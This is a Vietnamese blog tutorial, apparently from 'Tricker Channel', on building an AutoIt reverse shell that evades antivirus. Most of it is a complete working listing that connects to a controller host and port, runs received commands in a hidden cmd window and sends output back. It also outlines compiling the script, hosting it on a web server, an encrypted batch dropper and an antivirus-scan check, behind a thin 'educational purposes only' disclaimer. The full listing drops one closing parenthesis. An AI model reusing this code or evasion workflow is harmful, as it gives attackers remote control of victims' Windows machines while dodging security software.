Trong thời đại của công nghệ số, khi an ninh mạng ngày càng trở nên quan trọng, việc hiểu biết về cách thực hiện tấn công và bảo vệ là không thể phủ nhận. Ngôn ngữ lập trình Autoit nổi tiếng với tính đơn giản và sự dễ hiểu, thường được sử dụng để tạo ra các kịch bản tự động hóa. Tuy nhiên, khi rơi vào tay của những kẻ tấn công, nó có thể trở thành một công cụ độc hại mạnh mẽ.
Mục lục bài viết
Chúng ta sẽ cùng nhau khám phá cách mà tin tặc tạo ra một cuộc tấn công Reverse Shell có khả năng vượt qua các biện pháp chống virus thông thường, và làm thế nào Autoit có thể được tận dụng để thực hiện điều này. Hãy cùng Tricker Channel đồng hành và tìm hiểu chung về điều này!
Lưu ý!
Bài viết này chỉ dành cho mục đích giáo dục, nghiên cứu và học tập. Tricker Channel sẽ không chịu toàn bộ trách nhiệm về các hành vi bất hợp pháp !
Giới thiệu ngắn gọn về ngôn ngữ lập trình Autoit
Cách Hacker Bypass AV xâm nhập Windows với Autoit
#include <AutoItConstants.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
Sau đó, các biến toàn cục sẽ chứa địa chỉ IP và cổng của máy chủ điều khiển. Trong ví dụ này, máy hacker sử dụng địa chỉ IP 127.0.0.1 (localhost) và cổng 4444.
Global $host = "127.0.0.1"
Global $port = 4444
Định nghĩa khai báo một biến toàn cục để lưu trữ đường dẫn hiện tại của máy nạn nhân.
Global $currentDir = @WorkingDir
Trong vòng lặp vô hạn, đoạn mã này sử dụng hàm Ping để kiểm tra xem máy nạn nhân có thể kết nối đến máy hacker không. Nếu kết nối có thể thực hiện, chương trình sẽ cố gắng kết nối đến máy hacker thông qua giao thức TCP. Nếu kết nối thành công, vòng lặp sẽ kết thúc. Ngược lại, nếu không có kết nối, đoạn mã sẽ tiếp tục chạy cho đến khi kết nối thành công.
While 1
If Ping($host, 250) Then ; Check if the server is reachable
TCPStartup()
$socket = TCPConnect($host, $port)
If $socket <> -1 Then ; Check if the connection is successful
ExitLoop ; Exit the loop if the connection is established
EndIf
TCPCloseSocket($socket)
TCPShutdown()
EndIf
Sleep(1000) ; Wait for 1 second before retrying
WEnd
Khi máy nạn nhân đã thiết lập kết nối với máy hacker, nó sẽ truyền đường dẫn hiện tại đến máy hacker.
TCPSend($socket, $currentDir & "> ")
Sau khi thiết lập kết nối, máy nạn nhân tiếp tục lắng nghe để nhận các lệnh từ máy hacker điều khiển. Nếu lệnh bắt đầu bằng "cd", nó sẽ thực hiện lệnh thay đổi thư mục. Trong trường hợp ngược lại, nó sẽ thực hiện lệnh trên hệ điều hành và gửi kết quả trả về máy hacker.
While 1
If @error Then ExitLoop
$recv = TCPRecv($socket, 1024)
If $recv <> "" Then
If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command
$dirToChange = StringTrimLeft($recv, 3)
$dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces
If FileChangeDir($dirToChange) Then
$currentDir = @WorkingDir
TCPSend($socket, $currentDir & "> ")
Else
TCPSend($socket, "[!] Failed to change directory" & @CRLF)
TCPSend($socket, $currentDir & "> ")
EndIf
Else
$cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2)
$stdout = ""
While @ComSpec & " /c " & $recv <> ""
$line = StdoutRead($cmd)
If @error Then ExitLoop
$stdout &= $line
WEnd
$ret = TCPSend($socket, $stdout)
TCPSend($socket, $currentDir & "> ")
Sleep(500)
EndIf
EndIf
WEnd
Khi hacker đã hoàn thành mục tiêu của mình, đoạn mã AutoIt sẽ đóng kết nối TCP và vô hiệu hóa thư viện TCP.
TCPCloseSocket($socket)
TCPShutdown()
Đây là toàn bộ đoạn mã:
#include <AutoItConstants.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
Global $host = "127.0.0.1"
Global $port = 4444
Global $currentDir = @WorkingDir
While 1
If Ping($host, 250) Then ; Check if the server is reachable
TCPStartup()
$socket = TCPConnect($host, $port)
If $socket <> -1 Then ; Check if the connection is successful
ExitLoop ; Exit the loop if the connection is established
EndIf
TCPCloseSocket($socket)
TCPShutdown()
EndIf
Sleep(1000) ; Wait for 1 second before retrying
WEnd
TCPSend($socket, $currentDir & "> ")
While 1
If @error Then ExitLoop
$recv = TCPRecv($socket, 1024)
If $recv <> "" Then
If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command
$dirToChange = StringTrimLeft($recv, 3)
$dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces
If FileChangeDir($dirToChange) Then
$currentDir = @WorkingDir
TCPSend($socket, $currentDir & "> ")
Else
TCPSend($socket, "[!] Failed to change directory" & @CRLF
TCPSend($socket, $currentDir & "> ")
EndIf
Else
$cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2)
$stdout = ""
While @ComSpec & " /c " & $recv <> ""
$line = StdoutRead($cmd)
If @error Then ExitLoop
$stdout &= $line
WEnd
$ret = TCPSend($socket, $stdout)
TCPSend($socket, $currentDir & "> ")
Sleep(500)
EndIf
EndIf
WEnd
TCPCloseSocket($socket)
TCPShutdown()
Sau đó, hacker sẽ biên dịch script ReverseShell.au3 thành tệp tin thực thi ReverseShell.a3x
Sau khi quá trình biên dịch hoàn tất, hacker mở một máy chủ web để lưu trữ file autoit.exe và ReverseShell.a3x để chuẩn bị thực hiện cuộc tấn công. Đồng thời, đã chuẩn bị sẵn một tập lệnh Batch có tên là RS.bat với nội dung như sau:
Bây giờ, chúng ta sẽ truy cập trang web Mã Hóa Tại Đây để mã hóa tệp tin RS.bat này, nhằm vượt qua các phần mềm chống virus (AntiVirus).
Sau đây là kết quả scan của Virustotal
Bằng cách tận dụng sự linh hoạt và khả năng tùy chỉnh của AutoIt, tin tặc có thể tạo ra các script độc hại mà các chương trình antivirus thường khó nhận diện. Các phương pháp phổ biến mà hacker thường áp dụng bao gồm thay đổi liên tục mã độc hại để tránh phát hiện, sử dụng kỹ thuật mã hóa hoặc biến đổi cấu trúc mã để ngụy trang khỏi nhận dạng của các phần mềm bảo mật. Đồng thời, việc tận dụng lỗ hổng trong hệ thống và sự sáng tạo trong việc phát triển các kỹ thuật xâm nhập mới giúp tin tặc tạo ra các công cụ xâm nhập mạnh mẽ, khó phát hiện và gây nguy hiểm đối với các hệ thống. Do đó, việc cập nhật và nâng cao kiến thức bảo mật là quan trọng để bảo vệ chính mình và đảm bảo an toàn cho môi trường kỹ thuật số.
Facebook: Dịch Vụ Mạng Xã Hội Đà Nẵng
Zalo: Dịch Vụ Đà Nẵng
Phone: 0333.110304
Gmail: mxhdn.xyz@gmail.com
Thanh toán: Ngân hàng, thẻ cào siêu rẻ, Momo, ViettelPay, card + 35% phí,...